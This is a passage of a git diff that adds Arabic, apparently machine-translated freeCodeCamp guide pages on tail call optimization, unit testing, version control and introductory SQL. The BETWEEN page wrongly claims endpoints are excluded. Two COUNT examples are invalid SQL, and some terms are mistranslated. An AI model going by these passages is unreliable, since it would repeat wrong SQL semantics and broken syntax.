+++ b/client/src/guide/arabic/software-engineering/tco-tail-call-optimization/index.md
@@ -0,0 +1,68 @@
+---
+title: TCO Tail Call Optimization
+localeTitle: TCO Tail Call Optimization
+---
+## تحسين مكالمات الذيل (TCO)
+
+يعتبر تحسين استدعاء الذيل ( **TCO** ) حلاً لمشكلة التكدس في المكدس عند القيام بالتكرار.
+
+### المشكلة
+
+يتم دفع كل مكالمة لوظيفة إلى رصة في ذاكرة الكمبيوتر. عند انتهاء الدالة ، يتم إفراغها من المكدس. في التكرار ، تستدعي الوظيفة نفسها بحيث تستمر في الإضافة إلى المكدس حتى تنتهي جميع تلك الوظائف. هناك ، بالطبع ، حد لهذا المكدس. عندما يكون هناك عدد كبير من الوظائف يسمى ، يتم إضافة الكثير من المكالمات إلى المكدس. عندما تكون المكدس ممتلئة ويتم استدعاء دالة ، يؤدي ذلك إلى **تجاوز سعة مكدس الذاكرة المؤقتة** نظرًا لأن المكدس ممتلئ بالفعل. لن تنتهي الدالة العودية وستؤدي إلى حدوث خطأ.
+
+#### مثال
+
+في ما يلي مثال على وظيفة مختبِس جافا سكريبت باستخدام التكرار **بدون** TCO:
+
+ `  function fact(x) { 
+    if (x <= 1) { 
+      return 1; 
+    } else { 
+      return x * fact(x-1); 
+    } 
+  } 
+ 
+  console.log(fact(10)); // 3628800 
+  console.log(fact(10000)); // RangeError: Maximum call stack size exceeded 
+` 
+
+لاحظ أن تشغيل `fact` مع وسيطة 10000 سيؤدي إلى **تجاوز سعة مكدس** .
+
+### استخدام TCO لحل المشكلة
+
+لحل هذه المشكلة باستخدام "تحسين مكالمات الذيل" ، يجب أن تكون العبارة التي تستدعي فيها الوظيفة نفسها في موضع ذيل. موضع الذيل هو العبارة الأخيرة التي سيتم تنفيذها في وظيفة. لذلك ، يجب أن يكون استدعاء الدالة إلى نفسها آخر شيء يسمى قبل انتهاء الدالة.
+
+في المثال السابق ، يتم تنفيذ عملية الضرب الأخيرة في عبارة `return x * fact(x-1)` ، لذلك لم تكن العملية النهائية للدالة. لذلك ، فهي ليست دعوة الذيل الأمثل. من أجل أن تكون مكالمة ذيل محسنة ، تحتاج إلى إجراء المكالمة نفسها العملية الأخيرة للوظيفة.
+
+#### مثال
+
+في ما يلي مثال على وظيفة مفاعل جافا سكريبت (ES5) باستخدام التكرار **مع** TCO.
+
+ `  function fact(n) { 
+      return factTCO(n, 1); 
+  } 
+ 
+  function factTCO(x, acc) { 
+      if (x <= 1) { 
+          return acc; 
+      } else { 
+          return factTCO(x-1, x*acc); 
+      } 
+  } 
+ 
+  console.log(fact(10)); // 3628800 
+  console.log(fact(10000)); // Infinity - Number too large, but unlike the unoptimized factorial, this does not result in stack overflow. 
+` 
+
+لاحظ أن تشغيل `fact` على 10000 هذه المرة لن **يؤدي إلى تجاوز سعة الرصة** عند _تشغيلها في مستعرض يدعم ES6_ لأن الاستدعاء إلى `factTCO` هو آخر عملية للدالة.
+
+### لماذا هذا يعمل
+
+عندما يلاحظ المحول البرمجي أو المفسر أن المكالمة الذاتية هي العملية الأخيرة للدالة ، فإنها تنبثق الوظيفة الحالية وتدفع المكالمة الذاتية إلى المكدس. بهذه الطريقة لا يتم تغيير حجم المكدس. لذلك ، لا تتكدس المكدس بسبب الدالة.
+
+### ملاحظات
+
+#### معلومات اكثر:
+
+*   [ما هو optmization دعوة الذيل؟](https://stackoverflow.com/questions/310974/what-is-tail-call-optimization) (ستاكوفيرفلوو)
+*   [تحسين استدعاء الذيل في ECMAScript 6](http://2ality.com/2015/06/tail-call-optimization.html) (2ality - مدونة Dr. Axel Rauschmayer)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/unit-tests/index.md b/client/src/guide/arabic/software-engineering/unit-tests/index.md
new file mode 100644
index 0000000000..71502727d8
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/unit-tests/index.md
@@ -0,0 +1,49 @@
+---
+title: Unit Tests
+localeTitle: اختبارات الوحدة
+---
+## اختبارات الوحدة
+
+اختبار وحدة هو نوع من الاختبار الذي يوجد في أسفل الهرم اختبار البرمجيات. وهو ينطوي على كسر الشفرة إلى أجزاء أصغر (أو وحدات) واختبارها في عزلة. اعتمادًا على نوع لغة البرمجة (أو النموذج) يمكن أن تكون ضد أي شيء تعرفه كوحدة واحدة ، على الرغم من أن الممارسة الأكثر شيوعًا هي ضد الوظائف.
+
+### لماذا افعل ذلك؟
+
+*   **الحماية** - اختبار وحدة يحمي من إدخال الأخطاء الجديدة أو القديمة للبرمجة الدفاعية
+*   **الثقة** - يمكنك إضافة تغييرات ، أو إعادة استخدام أو رمز refactor (كلا شائع جدا) وتأكد من أنك لم تقم بإضافة خطأ
+*   **الوثائق** - اختبار الوحدة يوثق سلوك وتدفق الكود بحيث يسهل على شخص جديد على الشفرة فهمه
+*   **عزل** - يعزل وحدة نمطية من الميزة بأكملها. هذا النهج يفرض عليك التفكير في وحدة بنفسها ، ونسأل عن وظيفتها؟
+*   **الجودة** - بما أن اختبار الوحدة يجبرك على التفكير واستخدام API الخاص بك ، فإنه يفرض واجهات وأنماط جيدة / قابلة للتمديد. يمكن أن تشير إلى أي اقتران ضيق أو أكثر من التعقيد التي ينبغي معالجتها. عادة ما يكون اختبار الشفرة أكثر صعوبة بكثير
+*   **معيار الصناعة** - اختبار الوحدة هو نظام شائع في هذه الأيام ، وهو مطلب لجزء كبير من شركات البرمجيات
+*   **أخطاء أقل** - يقترح بحث كبير أن تطبيق الاختبار على تطبيق يمكن أن يقلل من كثافة علة الإنتاج بنسبة 40٪ - 80٪.
+
+### مثال (في Javascript)
+
+افترض أن هناك وظيفة مكتوبة في ملف **add.js**
+
+ `var add = function(number1, number2){ 
+  return number1 + number2; 
+ } 
+` 
+
+الآن ، من أجل كتابة اختبار الوحدة لهذه الوظيفة تحديدًا ، يمكننا استخدام أدوات الاختبار مثل [mocha](http://mochajs.org/)
+
+ `const mocha = require('mocha') 
+ const chai = require('chai')  // It is an assertion library 
+ describe('Test to check add function', function(){ 
+  it('should add two numbers', function(){ 
+    (add(2,3)).should.equal(5)  //Checking that 2+3 should equal 5 using the given add function 
+  }); 
+ }); 
+` 
+
+### التطوير المدفوع بالاختبارات
+
+اختبار الوحدة هو سمة أساسية من سمات نهج التطوير المدفوع بالاختبارات (TDD) لتطوير البرمجيات. في هذا النهج ، يتم كتابة التعليمات البرمجية لميزات معينة أو وظائف من خلال الاستخدام المتكرر لدورة قصيرة للغاية. أولاً ، يكتب المطور مجموعة من الاختبارات التلقائية للوحدة ويضمن فشلها في البداية. بعد ذلك ، يقوم المطور بتطبيق الحد الأدنى من الكود المطلوب من أجل تمرير حالات الاختبار. بمجرد التحقق من أن الشفرة تتصرف كما هو متوقع ، يقوم المطور بعد ذلك بالرجوع ورمز refactors للالتزام بأي معايير الترميز ذات الصلة.
+
+### معلومات اكثر
+
+مارتن فاولر في اختبار الوحدة: [martinfowler.com](https://www.martinfowler.com/bliki/UnitTest.html)
+
+روبرت مارتن الملقب "الدكتور بوب" على TDD: [butunclebob.com](http://www.butunclebob.com/ArticleS.UncleBob.TheThreeRulesOfTdd)
+
+Eric Elliot على اختبارات الوحدة و TDD: [Medium](https://medium.com/javascript-scene/5-common-misconceptions-about-tdd-unit-tests-863d5beb3ce9)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/version-control-system/index.md b/client/src/guide/arabic/software-engineering/version-control-system/index.md
new file mode 100644
index 0000000000..279b5bbd69
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/version-control-system/index.md
@@ -0,0 +1,47 @@
+---
+title: Version Control System
+localeTitle: نظام التحكم في الإصدار
+---
+## نظام التحكم في الإصدار
+
+أنظمة التحكم في الإصدار (VCS) ، وتسمى أيضًا إدارة التعليمات البرمجية المصدر (SCM) ، هي أدوات تستخدم لتتبع التغييرات في الملفات ، وإدارة الإصدار وتسهيل عملية تحرير الملفات التعاونية. هناك نوعان أساسيان من VCS:
+
+*   نظام مركزي للتحكم بالإصدار عندما يكون المستودع المركزي موثوقًا به. البنية الزميلة هي العميل / الخادم. أول VCS (CVS ، SVN ...) كان نظام التحكم في النسخ المركزي.
+*   نظام التحكم في إصدار الموزع حيث عدة تعديل تبادل مستودع. العمارة الشريكة هي في الغالب نظير إلى نظير ، ولكن يمكن أن يعلن أحد الريبو على أنه موثوق. إن VCS الحديثة الأكثر استخدامًا (Git، Mercurial…) هي نظام التحكم في إصدار الموزعة.
+
+### لماذا استخدامها؟
+
+*   **محفوظات التغييرات** - تمكّن VCS المستخدم من استعراض كافة التغييرات التي يتم تسجيلها تلقائيًا بمعلومات مفيدة والبحث عنها (التاريخ والمؤلف ...) و
+*   **الإصدارات / العلامات** - يمكن للمستخدم البحث / استرداد حالة محددة من الملفات التي تم تصنيفها باستخدام العلامات وأسماء الإصدارات
+*   **الفرز / الدمج** - نظام التحكم في إصدار الموزعة يجعل من السهل الحفاظ على فرع متوازي من الملفات ودمجها جزئيًا أو كليًا عند الحاجة.
+*   **العمليات الذرية** - توفر جميع أنظمة VCS الحديثة العمليات الذرية: جميع التعديلات مضمونة النجاح أو الفشل ككل مما يضمن أن الملفات تكون دائمًا في حالة ثابتة.
+
+### نظام التحكم في الإصدارات الأكثر شعبية
+
+*   بوابة
+
+_Git_ هو نظام التحكم في إصدار الموزعة ، وربما VCS الأكثر استخدامًا في الوقت الحاضر مع _Mercurial_ .
+
+*   زئبقي
+
+_Mercurial_ هو نظام التحكم في إصدار الموزعة ، وربما VCS الأكثر استخدامًا في الوقت الحاضر مع _Git_ .
+
+*   CVS
+
+_CVS_ هو SCM قديم والذي كان بروزا قبل انتشار _SVN_ . تم الآن إيقاف _CVS_ و _SVN_ لصالح نظام التحكم في إصدار الموزعة مثل _Git_ و _Mercurial_ .
+
+*   SVN / التخريب
+
+_SVM_ هو SCM القديم الذي نجح _CVS_ . في نهاية المطاف تم إيقاف _SVN_ من خلال اعتماد واسع النطاق لنظام التحكم في إصدار الموزعة مثل _Git_ و _Mercurial_
+
+### معلومات اكثر:
+
+[CVS](http://savannah.nongnu.org/projects/cvs)
+
+[بوابة](https://git-scm.com/)
+
+[زئبقي](https://www.mercurial-scm.org/)
+
+[SVN](http://subversion.tigris.org/)
+
+[التحكم في الإصدار على ويكيبيديا](https://en.wikipedia.org/wiki/Version_control)
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/index.md b/client/src/guide/arabic/sql/index.md
new file mode 100644
index 0000000000..d9c0bbd833
--- /dev/null
+++ b/client/src/guide/arabic/sql/index.md
@@ -0,0 +1,9 @@
+---
+title: SQL
+localeTitle: SQL
+---
+## SQL
+
+SQL لتقف على لغة الاستعلام الهيكلية. إنها الأداة الأكثر شيوعًا المستخدمة لمعالجة البيانات وإدارتها في قاعدة بيانات علائقية (يشار إليها غالبًا باسم "قاعدة بيانات SQL").
+
+SQL هو واضح بشكل عام "تتمة". أكثر أشكاله شيوعًا هي MySQL و PostgreSQL و SQLite - وهي نسخة من SQL تستخدم عادةً في تصميم النماذج. وقدم مفهوم الوصول إلى العديد من السجلات باستخدام أمر واحد ، باستخدام استعلامات SQL.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-aliases/index.md b/client/src/guide/arabic/sql/sql-aliases/index.md
new file mode 100644
index 0000000000..9874f55fcf
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-aliases/index.md
@@ -0,0 +1,53 @@
+---
+title: SQL Aliases
+localeTitle: الأسماء المستعارة SQL
+---
+## الأسماء المستعارة SQL
+
+## باستخدام AS لتعيين أسماء ذات معنى أو أبسط
+
+يمكنك استخدام AS لتعيين اسم لعمود البيانات الذي تقوم بتحديده أو الذي تم حسابه.
+
+ `SELECT user_only_num1 AS AgeOfServer, (user_only_num1 - warranty_period) AS NonWarrantyPeriod FROM server_table 
+` 
+
+هذه النتائج في الإخراج على النحو التالي.
+
+ `+-------------+------------------------+ 
+ | AgeOfServer | NonWarrantyPeriod      | 
+ +-------------+------------------------+ 
+ |         36  |                     24 | 
+ |         24  |                     12 | 
+ |         61  |                     49 | 
+ |         12  |                      0 | 
+ |          6  |                     -6 | 
+ |          0  |                    -12 | 
+ |         36  |                     24 | 
+ |         36  |                     24 | 
+ |         24  |                     12 | 
+ +-------------+------------------------+ 
+` 
+
+يمكنك أيضًا استخدام AS لتعيين اسم لجدول لتسهيل الرجوع إليه في الصلات.
+
+ `SELECT ord.product, ord.ord_number, ord.price, cust.cust_name, cust.cust_number FROM customer_table AS cust 
+ 
+ JOIN order_table AS ord ON cust.cust_number = ord.cust_number 
+` 
+
+هذه النتائج في الإخراج على النحو التالي.
+
+ `+-------------+------------+-----------+-----------------+--------------+ 
+ | product     | ord_number | price     | cust_name       | cust_number  | 
+ +-------------+------------+-----------+-----------------+--------------+ 
+ |     RAM     |   12345    |       124 | John Smith      |  20          | 
+ |     CPU     |   12346    |       212 | Mia X           |  22          | 
+ |     USB     |   12347    |        49 | Elise Beth      |  21          | 
+ |     Cable   |   12348    |         0 | Paul Fort       |  19          | 
+ |     Mouse   |   12349    |        66 | Nats Back       |  15          | 
+ |     Laptop  |   12350    |       612 | Mel S           |  36          | 
+ |     Keyboard|   12351    |        24 | George Z        |  95          | 
+ |     Keyboard|   12352    |        24 | Ally B          |  55          | 
+ |     Air     |   12353    |        12 | Maria Trust     |  11          | 
+ +-------------+------------+-----------+-----------------+--------------+ 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-alter-table-statement/index.md b/client/src/guide/arabic/sql/sql-alter-table-statement/index.md
new file mode 100644
index 0000000000..896a38e816
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-alter-table-statement/index.md
@@ -0,0 +1,40 @@
+---
+title: SQL Alter Table Statement
+localeTitle: SQL جدول الترتيب
+---
+## دليل SQL - ALTER TABLE
+
+## المقدمة
+
+سيقدم لك هذا الدليل شرحًا عن بعض أساسيات وظائف جدول التغيير في SQL ومحاولة شرحها داخل قاعدة بيانات علائقية. **تلميح أمان هام: قم دائمًا بنسخ بياناتك احتياطيًا قبل إجراء التغييرات!**
+
+سنستخدم MySQL لكل الأمثلة في دليل SQL freeCodeCamp هذا. أسباب اختيار MySQL هي 1) وهي شائعة الاستخدام على المواقع الإلكترونية لقاعدة البيانات الخلفية ، 2) وهي مجانية ، وهي ممتعة وسهلة الاستخدام.
+
+## مغطاة في هذا الدليل
+
+سوف نستخدم الجداول التي تم إنشاؤها في دليل "CREATE TABLE". لا تتردد في مراجعة هذا الدليل إذا لم تكن معتادًا على إنشاء جدول.
+
+*   سيؤدي تغيير الجدول الذي تم إنشاؤه إلى تغييره بعدة طرق مختلفة.
+*   سنقوم بتغيير اسمها وتعديل الأعمدة
+*   إضافة أعمدة (أثناء إضافة الأعمدة سنقوم أيضًا بمراجعة العديد من أنواع الأعمدة الأكثر أهمية واستخدامها).
+*   إسقاط الأعمدة (يعني إزالة العمود).
+*   إنشاء جدول عن طريق استيراد ملف CSV وتعديل هذا الجدول.
+*   إنشاء وتعديل الجداول باستخدام أدوات طاولة MySQL.
+
+سيتم تنفيذ معظم هذا باستخدام عبارات SQL في أداة البرمجة النصية لـ MySQL لكننا سنراجع أيضًا كيفية تغيير جدول باستخدام واجهة طاولة العمل بدلاً من عبارات SQL.
+
+## الجدول قبل التعديلات:
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table01a.JPG?raw=true)
+
+إضافة أعمدة التاريخ وعنوان البريد الإلكتروني (تاريخ وعمود الحرف): ![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table01.JPG?raw=true)
+
+إضافة عمود رقمي (لاحظ أنه تمت إضافته في موقع محدد في الجدول): ![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table02.JPG?raw=true)
+
+إعادة تسمية بعض الأعمدة: ![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table03.JPG?raw=true)
+
+إزالة عمود: ![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table04.JPG?raw=true)
+
+يمكنك أيضا استخدام أداة طاولة العمل منضدة التغيير. فقط انقر على الطاولة التي تريد تغييرها وتغييرها كما تشاء. ![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table05.JPG?raw=true)
+
+هناك الكثير مما يمكن القيام به ، والتحقق من دليل برنامج إدارة قاعدة البيانات لمعرفة المزيد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-and-operator/index.md b/client/src/guide/arabic/sql/sql-and-operator/index.md
new file mode 100644
index 0000000000..e4f5cd316b
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-and-operator/index.md
@@ -0,0 +1,44 @@
+---
+title: SQL and Operator
+localeTitle: مزود والمشغل
+---
+## SQL AND المشغل
+
+ويتم استخدامه في جملة WHERE أو جملة GROUP BY HAVING للحد من الصفوف التي يتم إرجاعها من العبارة التي تم تنفيذها. استخدم AND عندما يكون مطلوبًا أن يتم استيفاء أكثر من شرط واحد.
+
+سنستخدم جدول الطالب لتقديم أمثلة.
+
+في ما يلي جدول الطالب بدون شرط WHERE:
+
+ `select * from student; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator01.JPG?raw=true)
+
+الآن تتم إضافة عبارة WHERE لعرض طلاب البرمجة فقط:
+
+ `select * from student 
+ where programOfStudy = 'Programming'; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator02.JPG?raw=true)
+
+الآن يتم تحديث جملة WHERE بـ AND لعرض نتائج لطلاب البرمجة التي يكون لها أيضًا درجة SAT أكبر من 800:
+
+ `select * from student 
+ where programOfStudy = 'Programming' 
+ and sat_score > 800; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator03.JPG?raw=true)
+
+هذا مثال أكثر تعقيدًا من جدول مساهمات الحملة. يحتوي هذا المثال على جملة GROUP BY مع شرط HAVING باستخدام AND لتقييد السجلات التي تم إرجاعها ليتم استبعادها من عام 2016 بمساهمات تتراوح بين 3 ملايين و 18 مليون دولار أمريكي.
+
+ `select Candidate, Office_Sought, Election_Year, FORMAT(sum(Total_$),2) from combined_party_data 
+ where Office_Sought = 'PRESIDENT / VICE PRESIDENT' 
+ group by Candidate, Office_Sought, Election_Year 
+ having Election_Year = 2016 and sum(Total_$) between 3000000 and 18000000 
+ order by sum(Total_$) desc; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator06.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-avg-function/index.md b/client/src/guide/arabic/sql/sql-avg-function/index.md
new file mode 100644
index 0000000000..2573413acd
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-avg-function/index.md
@@ -0,0 +1,23 @@
+---
+title: SQL Avg Function
+localeTitle: دالة Avg SQL
+---
+## دالة SQL متوسط ​​(AVG)
+
+"Average" هي دالة تجميع (تجميع حسب). يتم استخدامه لحساب متوسط ​​عمود رقمي من مجموعة الصفوف التي تم إرجاعها بواسطة عبارة SQL.
+
+هنا هو بناء الجملة لاستخدام الوظيفة:
+
+ `select groupingField, avg(num_field) 
+ from table1 
+ group by groupingField 
+` 
+
+إليك مثال على ذلك باستخدام جدول الطالب:
+
+ `select studentID, FullName, avg(sat_score) 
+ from student 
+ group by studentID, FullName; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/avg_function01.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-between-operator/index.md b/client/src/guide/arabic/sql/sql-between-operator/index.md
new file mode 100644
index 0000000000..814dfce53b
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-between-operator/index.md
@@ -0,0 +1,46 @@
+---
+title: SQL Between Operator
+localeTitle: مزود بين المشغل
+---
+## مزود بين المشغل
+
+يعتبر مشغل BETWEEN مفيدًا بسبب "مُحسِّن استعلام SQL". على الرغم من أن BETWEEN يعمل بشكل وظيفي مثل: x <= element <= y ، سيتعرف "مُحسِّن استعلام SQL" على هذا الأمر بشكل أسرع ، ولديه كود محسّن لتشغيله.
+
+يتم استخدام عامل التشغيل هذا في جملة WHERE أو في جملة GROUP BY HAVING.
+
+يتم تحديد الصفوف التي لها قيمة أكبر من الحد الأدنى للقيمة وأقل من الحد الأقصى للقيمة.
+
+من المهم أن تضع في اعتبارك أن القيم المدخلة في الأمر **مستبعدة** من النتيجة. نحصل فقط على ما بينهما.
+
+هنا هو بناء الجملة لاستخدام الدالة في جملة WHERE:
+
+ `select field1, testField 
+ from table1 
+ where testField between min and max 
+` 
+
+في ما يلي مثال على استخدام جدول الطالب وعبارة WHERE:
+
+ `-- no WHERE clause 
+ select studentID, FullName, studentID 
+ from student; 
+ 
+ -- WHERE clause with between 
+ select studentID, FullName, studentID 
+ from student 
+ where studentID between 2 and 7; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/between01.JPG?raw=true)
+
+في ما يلي مثال على ذلك باستخدام جدول أموال الحملة والعبارة الفرعية. سيؤدي هذا إلى إرجاع صفوف يتراوح فيها مجموع التبرعات للمرشح بين 3 ملايين و 18 مليون دولار استنادًا إلى شرط HAVING في الجزء GROUP BY من البيان. المزيد عن التجميع في هذا الدليل.
+
+ `select Candidate, Office_Sought, Election_Year, format(sum(Total_$),2) 
+ from combined_party_data 
+ where Election_Year = 2016 
+ group by Candidate, Office_Sought, Election_Year 
+ having sum(Total_$) between 3000000 and 18000000 
+ order by sum(Total_$) desc; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/between02.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-check-constraint/index.md b/client/src/guide/arabic/sql/sql-check-constraint/index.md
new file mode 100644
index 0000000000..886de3b283
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-check-constraint/index.md
@@ -0,0 +1,82 @@
+---
+title: SQL CHECK Constraint
+localeTitle: SQL CHECK القيد
+---
+يتم استخدام القيد CHECK لتحديد نطاق القيمة التي يمكن وضعها في عمود.
+
+إذا حددت قيد CHECK في عمود واحد ، فإنها تسمح فقط بقيم معينة لهذا العمود.
+
+إذا قمت بتحديد قيد CHECK على جدول ، فيمكنه تقييد القيم في أعمدة معينة استنادًا إلى القيم الموجودة في أعمدة أخرى في الصف.
+
+### SQL الاختيار على CREATE TABLE
+
+ينشئ SQL التالية قيد CHECK على العمود "العمر" عند إنشاء جدول "الأشخاص". يضمن القيد CHECK أنه لا يمكن أن يكون لديك أي شخص أقل من 18 عامًا:
+
+**الخلية:**
+
+ `CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int, 
+    CHECK (Age>=18) 
+ ); 
+` 
+
+**SQL Server / Oracle / MS Access:**
+
+ `CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int CHECK (Age>=18) 
+ ); 
+` 
+
+للسماح بتسمية قيد CHECK ، ولتحديد قيد CHECK على أعمدة متعددة ، استخدم بناء جملة SQL التالي:
+
+**MySQL / SQL Server / Oracle / MS Access:**
+
+ `CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int, 
+    City varchar(255), 
+    CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes') 
+ ); 
+` 
+
+### SQL الاختيار على ALTER TABLE
+
+لإنشاء قيد CHECK على العمود "العمر" عند إنشاء الجدول بالفعل ، استخدم SQL التالي:
+
+**MySQL / SQL Server / Oracle / MS Access:**
+
+ `ALTER TABLE Persons 
+ ADD CHECK (Age>=18); 
+` 
+
+للسماح بتسمية قيد CHECK ، ولتحديد قيد CHECK على أعمدة متعددة ، استخدم بناء جملة SQL التالي:
+
+**MySQL / SQL Server / Oracle / MS Access:**
+
+ `ALTER TABLE Persons 
+ ADD CONSTRAINT CHK_PersonAge CHECK (Age>=18 AND City='Sandnes'); 
+` 
+
+### انخفاض القيد الاختيار
+
+لإسقاط قيد CHECK ، استخدم SQL التالي:
+
+**SQL Server / Oracle / MS Access:**
+
+ `ALTER TABLE Persons 
+ DROP CONSTRAINT CHK_PersonAge; 
+` 
+
+**الخلية:**
+
+ `ALTER TABLE Persons 
+ DROP CHECK CHK_PersonAge; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-count-function/index.md b/client/src/guide/arabic/sql/sql-count-function/index.md
new file mode 100644
index 0000000000..5600e987fd
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-count-function/index.md
@@ -0,0 +1,54 @@
+---
+title: SQL COUNT Aggregate Function
+localeTitle: COUNT COUNT Aggregate Function
+---
+## COUNT COUNT Aggregate Function
+
+يتم استخدام عامل التشغيل COUNT عادةً مع جملة GROUP BY. وهي إحدى دالات SQL "التجميعية" التي تتضمن AVG (متوسط) و SUM.
+
+ستحسب هذه الدالة عدد الصفوف والعائد الذي يتم حسابه كعمود في مجموعة النتائج.
+
+في ما يلي أمثلة على ما ستستخدمه لـ COUNT من أجل:
+
+*   حساب جميع الصفوف في جدول (لا توجد مجموعة حسب المطلوب)
+*   حساب مجاميع مجموعات فرعية من البيانات (يتطلب قسم Group By من البيان)
+
+كمرجع ، إليك البيانات الحالية لجميع الصفوف في قاعدة بيانات الطلاب الخاصة بنا.
+
+ `select studentID, FullName, programOfStudy, sat_score from student; -- all records with fields of interest 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/count01.JPG?raw=true)
+
+توفر عبارة SQL هذه حسابًا لكل الصفوف. لاحظ أنه يمكنك منح عمود COUNT الناتج اسمًا باستخدام "AS".
+
+ `select count(*) AS studentCount from student; -- count of all records 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/count02.JPG?raw=true)
+
+هنا نحصل على عدد الطلاب في كل مجال من مجالات الدراسة.
+
+ ` select studentID, FullName, count(*) AS studentCount from the student table with a group by programOfStudy; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/count03.JPG?raw=true)
+
+هنا نحصل على عدد الطلاب الذين يحملون نفس نتائج اختبار SAT.
+
+ ` select studentID, FullName, count(*) AS studentCount from the student table with a group by sat_score; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/count04.JPG?raw=true)
+
+في ما يلي مثال على ذلك باستخدام جدول أموال الحملة. هذا هو مجموع الدولارات في كل معاملة وعدد المساهمات لكل حزب سياسي خلال الحملة الرئاسية الأمريكية لعام 2016.
+
+ `select Specific_Party, Election_Year, format(sum(Total_$),2) AS contribution$Total, count(*) AS numberOfContributions 
+ from combined_party_data 
+ group by Specific_Party,Election_Year 
+ having Election_Year = 2016; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/count05.JPG?raw=true)
+
+كما هو الحال مع كل هذه الأشياء ، يوجد الكثير منها ، لذا يرجى الاطلاع على الدليل الخاص بمدير قاعدة البيانات الخاص بك والتمتع بتجربة اختبارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-create-index-statement/index.md b/client/src/guide/arabic/sql/sql-create-index-statement/index.md
new file mode 100644
index 0000000000..9b15ceff7e
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-create-index-statement/index.md
@@ -0,0 +1,36 @@
+---
+title: SQL CREATE INDEX Statement
+localeTitle: SQL CREATE INDEX Statement
+---
+## SQL CREATE INDEX Statement
+
+يتم استخدام هذه العبارة لإنشاء "فهرس" في عمود في جدول موجود.
+
+النقاط الرئيسية على الفهارس:
+
+*   يتم استخدامها لتحسين كفاءة عمليات البحث عن البيانات ، وتقديم البيانات بترتيب معين ، عند الانضمام إلى الجداول (راجع أدلة "JOIN") والمزيد.
+*   الفهرس هو كائن "النظام" ، بمعنى أنه يتم استخدامه من قبل مدير قاعدة البيانات.
+*   جزء من هذا الاستخدام هو لمدير قاعدة البيانات لتحديث الفهرس عندما تتغير البيانات المستخدمة بواسطة الفهرس في الجدول المرتبط. ضع ذلك في الاعتبار لأنه نظرًا لزيادة عدد الفهارس في قاعدة البيانات ، يمكن أن يتأثر أداء النظام الكلي.
+*   إذا وجدت أن SQL لديك تعمل ببطء على جدول أو جداول معينة ، فإن إنشاء فهرس هو أول شيء يجب أخذه في الاعتبار لتصحيح المشكلة.
+
+فيما يلي مثال على صيغة بناء بيان الفهرس. لاحظ أن بناء الجملة يسمح لفهرس أن يكون أكثر من عمود واحد.
+
+ `CREATE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+` 
+
+إنشاء فهرس جديد في حقل جدول الطالب ، programOfStudy. كمرجع ، إليك التعريف الحالي لجدول الطالب.
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/create-index-statement01.JPG?raw=true)
+
+إليك بيان لإنشاء الفهرس ، ولقطة شاشة لتعريف الجدول المحدّث:
+
+ `create index pStudyIndex 
+ on student (programOfStudy); 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/create-index-statement02.JPG?raw=true)
+
+في MySQL ، يمكنك استخدام الأمر ALTER TABLE لتغيير الفهارس وإسقاطها. يوفر MySQL Workbench أيضًا أدوات واجهة المستخدم الرسومية لإدارة الفهارس.
+
+كما هو الحال مع كل هذه الأشياء ، هناك الكثير منها لذا يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك ، واستمتع بالقيام بخيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-create-index/index.md b/client/src/guide/arabic/sql/sql-create-index/index.md
new file mode 100644
index 0000000000..5932aa5d7d
--- /dev/null
